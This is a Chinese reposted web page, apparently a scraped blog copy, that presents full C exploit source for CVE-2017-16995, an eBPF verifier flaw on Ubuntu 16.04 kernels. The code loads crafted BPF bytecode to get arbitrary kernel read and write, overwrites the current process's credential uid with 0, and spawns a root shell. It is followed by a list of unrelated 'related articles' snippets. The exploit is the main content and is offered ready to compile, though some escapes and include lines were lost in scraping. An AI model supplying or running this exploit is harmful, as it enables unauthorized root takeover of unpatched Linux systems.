异域linux内核漏洞,Ubuntu本地提权攻击漏洞复现(CVE-2017-16995)

2023-05-16

/*

* Ubuntu 16.04.4 kernel priv esc

*

* all credits to @bleidl

* - vnik

*/

// Tested on:

// 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64

// if different kernel adjust CRED offset + check kernel stack size

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#define PHYS_OFFSET 0xffff880000000000

#define CRED_OFFSET 0x5f8

#define UID_OFFSET 4

#define LOG_BUF_SIZE 65536

#define PROGSIZE 328

int sockets[2];

int mapfd, progfd;

char *__prog =     "xb4x09x00x00xffxffxffxff"

"x55x09x02x00xffxffxffxff"

"xb7x00x00x00x00x00x00x00"

"x95x00x00x00x00x00x00x00"

"x18x19x00x00x03x00x00x00"

"x00x00x00x00x00x00x00x00"

"xbfx91x00x00x00x00x00x00"

"xbfxa2x00x00x00x00x00x00"

"x07x02x00x00xfcxffxffxff"

"x62x0axfcxffx00x00x00x00"

"x85x00x00x00x01x00x00x00"

"x55x00x01x00x00x00x00x00"

"x95x00x00x00x00x00x00x00"

"x79x06x00x00x00x00x00x00"

"xbfx91x00x00x00x00x00x00"

"xbfxa2x00x00x00x00x00x00"

"x07x02x00x00xfcxffxffxff"

"x62x0axfcxffx01x00x00x00"

"x85x00x00x00x01x00x00x00"

"x55x00x01x00x00x00x00x00"

"x95x00x00x00x00x00x00x00"

"x79x07x00x00x00x00x00x00"

"xbfx91x00x00x00x00x00x00"

"xbfxa2x00x00x00x00x00x00"

"x07x02x00x00xfcxffxffxff"

"x62x0axfcxffx02x00x00x00"

"x85x00x00x00x01x00x00x00"

"x55x00x01x00x00x00x00x00"

"x95x00x00x00x00x00x00x00"

"x79x08x00x00x00x00x00x00"

"xbfx02x00x00x00x00x00x00"

"xb7x00x00x00x00x00x00x00"

"x55x06x03x00x00x00x00x00"

"x79x73x00x00x00x00x00x00"

"x7bx32x00x00x00x00x00x00"

"x95x00x00x00x00x00x00x00"

"x55x06x02x00x01x00x00x00"

"x7bxa2x00x00x00x00x00x00"

"x95x00x00x00x00x00x00x00"

"x7bx87x00x00x00x00x00x00"

"x95x00x00x00x00x00x00x00";

char bpf_log_buf[LOG_BUF_SIZE];

static int bpf_prog_load(enum bpf_prog_type prog_type,

const struct bpf_insn *insns, int prog_len,

const char *license, int kern_version) {

union bpf_attr attr = {

.prog_type = prog_type,

.insns = (__u64)insns,

.insn_cnt = prog_len / sizeof(struct bpf_insn),

.license = (__u64)license,

.log_buf = (__u64)bpf_log_buf,

.log_size = LOG_BUF_SIZE,

.log_level = 1,

};

attr.kern_version = kern_version;

bpf_log_buf[0] = 0;

return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));

}

static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,

int max_entries) {

union bpf_attr attr = {

.map_type = map_type,

.key_size = key_size,

.value_size = value_size,

.max_entries = max_entries

};

return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));

}

static int bpf_update_elem(uint64_t key, uint64_t value) {

union bpf_attr attr = {

.map_fd = mapfd,

.key = (__u64)&key,

.value = (__u64)&value,

.flags = 0,

};

return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));

}

static int bpf_lookup_elem(void *key, void *value) {

union bpf_attr attr = {

.map_fd = mapfd,

.key = (__u64)key,

.value = (__u64)value,

};

return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));

}

static void __exit(char *err) {

fprintf(stderr, "error: %sn", err);

exit(-1);

}

static void prep(void) {

mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);

if (mapfd < 0)

__exit(strerror(errno));

progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,

(struct bpf_insn *)__prog, PROGSIZE, "GPL", 0);

if (progfd < 0)

__exit(strerror(errno));

if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))

__exit(strerror(errno));

if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)

__exit(strerror(errno));

}

static void writemsg(void) {

char buffer[64];

ssize_t n = write(sockets[0], buffer, sizeof(buffer));

if (n < 0) {

perror("write");

return;

}

if (n != sizeof(buffer))

fprintf(stderr, "short write: %lun", n);

}

#define __update_elem(a, b, c)

bpf_update_elem(0, (a));

bpf_update_elem(1, (b));

bpf_update_elem(2, (c));

writemsg();

static uint64_t get_value(int key) {

uint64_t value;

if (bpf_lookup_elem(&key, &value))

__exit(strerror(errno));

return value;

}

static uint64_t __get_fp(void) {

__update_elem(1, 0, 0);

return get_value(2);

}

static uint64_t __read(uint64_t addr) {

__update_elem(0, addr, 0);

return get_value(2);

}

static void __write(uint64_t addr, uint64_t val) {

__update_elem(2, addr, val);

}

static uint64_t get_sp(uint64_t addr) {

return addr & ~(0x4000 - 1);

}

static void pwn(void) {

uint64_t fp, sp, task_struct, credptr, uidptr;

fp = __get_fp();

if (fp < PHYS_OFFSET)

__exit("bogus fp");

sp = get_sp(fp);

if (sp < PHYS_OFFSET)

__exit("bogus sp");

task_struct = __read(sp);

if (task_struct < PHYS_OFFSET)

__exit("bogus task ptr");

printf("task_struct = %lxn", task_struct);

credptr = __read(task_struct + CRED_OFFSET); // cred

if (credptr < PHYS_OFFSET)

__exit("bogus cred ptr");

uidptr = credptr + UID_OFFSET; // uid

if (uidptr < PHYS_OFFSET)

__exit("bogus uid ptr");

printf("uidptr = %lxn", uidptr);

__write(uidptr, 0); // set both uid and gid to 0

if (getuid() == 0) {

printf("spawning root shelln");

system("/bin/bash");

exit(0);

}

__exit("not vulnerable?");

}

int main(int argc, char **argv) {

prep();

pwn();

return 0;

}

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

异域linux内核漏洞,Ubuntu本地提权攻击漏洞复现(CVE-2017-16995) 的相关文章

随机推荐

  • 上传图片到阿里云OSS和获取上传图片的外网url的步骤

    啥都不说 直接上代码 1 html lt form action 61 34 bcis api headImgUpload json 34 method 61 34 post 34 enctype 61 34 multipart form
  • 如何提取到网页上播放的视频

    1 在播放视频页面的空白处点击右键 xff0c 会弹出菜单 xff0c 在菜单中选择审查元素 2 弹出的页面如图所示 xff0c 我们点击第二个network 3 利用size这一栏点击一下他就会按照文件大小就可以查找到视频 xff0c 一
  • Nodejs如何调用Dll模块

    苏格团队作者 xff1a Tomey 一 为什么需要用node js调用dll xff1f 公司项目采用Electron xff08 electronjs org xff09 开发pc应用 xff0c 会涉及到与底层硬件设备的通信 xff0
  • PyShark入门(1):简介

    原文地址 xff1a http zodiacg net 2016 07 in 本系列文章译自thePacketGeek的系列文章 原创翻译 xff0c 转载请注明出处 文章作者以PyShark为基础开发了Cloud Pcap xff0c 一
  • 将元素添加到List集合的第一位

    2019独角兽企业重金招聘Python工程师标准 gt gt gt list add 1 object 看一下add方法的注释 Inserts the specified element at the specified position
  • KMS激活时,常见的错误及处理

    0x80072EFE 出现这种是错误因为服务器响应超时或与服务器连接已丢失 xff0c 网络连接的问题 解决方法 xff1a 暂时关闭防火墙和杀毒软件 xff0c 将网卡禁用再启用 xff0c 确保网络是通的 0x8007232B 过 30
  • 精彩网页

    新华网美国频道 xff1a http us xinhuanet com php加密网址 xff1a https www phpjiami com 转载于 https www cnblogs com net5x p 6570727 html
  • java集合类(二)List学习

    接上篇 java集合类 xff08 一 xff09 List接口继承了Collection接口和Iterable接口 xff0c 即同样含有Collection和 Iterable的特性 xff0c 还有方法 xff0c 其基本方法有 xf
  • 构建安全的数据访问-部署注意事项(九)

    部署注意事项 以安全方式设计和开发的数据访问组件如果不以安全的方式进行部署 xff0c 仍然容易受到攻击 常见的部署做法是使数据访问代码和数据库驻留在单独的服务器上 这些服务器通常由内部防火墙隔开 xff0c 这就引进了额外的部署注意事项
  • matlab练习程序(随机直线采样)

    我只是感觉好玩 xff0c 写了这样一段程序 原理就是先随机生成两个点 xff0c 然后根据这两个点画直线 xff0c 最后在直线上的像素保留 xff0c 没在直线上的像素丢弃就行了 最后生成了一幅含有很多空洞的图像 当然 xff0c 对含
  • 跳一跳j算法ava代码_麻将游戏算法深入解析及实现代码

    麻将游戏算法深入解析及实现代码 这两天为了工具箱的完善 xff0c 整理了这些年引擎开发的一些资料 xff0c 无意中发现06年写的一个麻将算法 xff0c 编译运行了一下 xff0c 还是有点意思的 xff0c 拿出来整理一下分享给大家
  • 使用SP Racing F3飞控&ROSflight软件包的无人机自主飞行系统

    搭建四旋翼系统 机架 xff1a XR215 Plus 328 分线板 xff1a XR215 Plus PDB 飞控 xff1a SP Racing F3 标准版 xff08 Acro xff09 86 电机 xff1a 银燕RS2205
  • PostMan使用手册

    Postman 使用手册系列教程 xff1a Postman软件安装 Postman使用手册1 导入导出和发送请求查看响应 Postman使用手册2 管理收藏 Postman使用手册3 环境变量 Postman使用手册4 API test
  • python 网站文件及数据库备份脚本

    初学python xff0c 试着写了一份python网站文件备份和数据库备份的脚本 xff0c 功能是写出来了 xff0c 但感觉还是不太适应 xff0c 写得不太好 xff0c 以后还要努力哈 xff01 backup py读取back
  • 八款值得尝试的精美的 Linux 发行版(2017 版)

    2019独角兽企业重金招聘Python工程师标准 gt gt gt 在这篇文章中 xff0c 将会列出让一些令 Linux 用户印象最深刻且精美的 Linux 发行版 xff0c 包括对初学者友好和流行的发行版 1 elementary O
  • 大型网站架构系列:20本技术书籍推荐

    学习是技术人员成长的基础 xff0c 本次分享20本技术方面的书籍 xff0c 这些书不是每一本都是经典 xff0c 但是每一本都有其特点 以下20本大部分本人都看过 xff0c 因此推荐给大家 xff08 本次推荐的20本只是一个参考 x
  • 正确判断无人机指向故障 让电子罗盘远离磁干扰

    电子罗盘作为无人机产品的重要组成部件 xff0c 承载着为无人机引导绝对方位的功能 对于普通设计者而言 xff0c 经常会遇到电子罗盘校正困难 xff0c 校正需求过于频繁 xff0c 动态 高速运行时突发偏离 xff0c 以及无论怎么校正
  • 测试计划驱动开发模式 TPDD:一种比 TDD 更友好的开发模式

    相信大部分开发团队都在使用TDD xff0c 并且还有很多开发团队都 对外声明 在使用 TDD 开发模式 之所以说是 对外声明 xff0c 是因为很多开发团队虽然号称使用的是 TDD 开发模式 xff0c 实际开发过程中却无法满足 TDD
  • Android Button悬浮在SurfaceView上

    实现Button悬浮于与SurfaceView之上实现 注意 xff1a 你实现的SurfaceView和android中的Button EditView是同级的 xff0c 不能把一个包含在另一个里面 1 创建自己的SurfaceView
  • 异域linux内核漏洞,Ubuntu本地提权攻击漏洞复现(CVE-2017-16995)

    Ubuntu 16 04 4 kernel priv esc all credits to 64 bleidl vnik Tested on 4 4 0 116 generic 140 Ubuntu SMP Mon Feb 12 21 23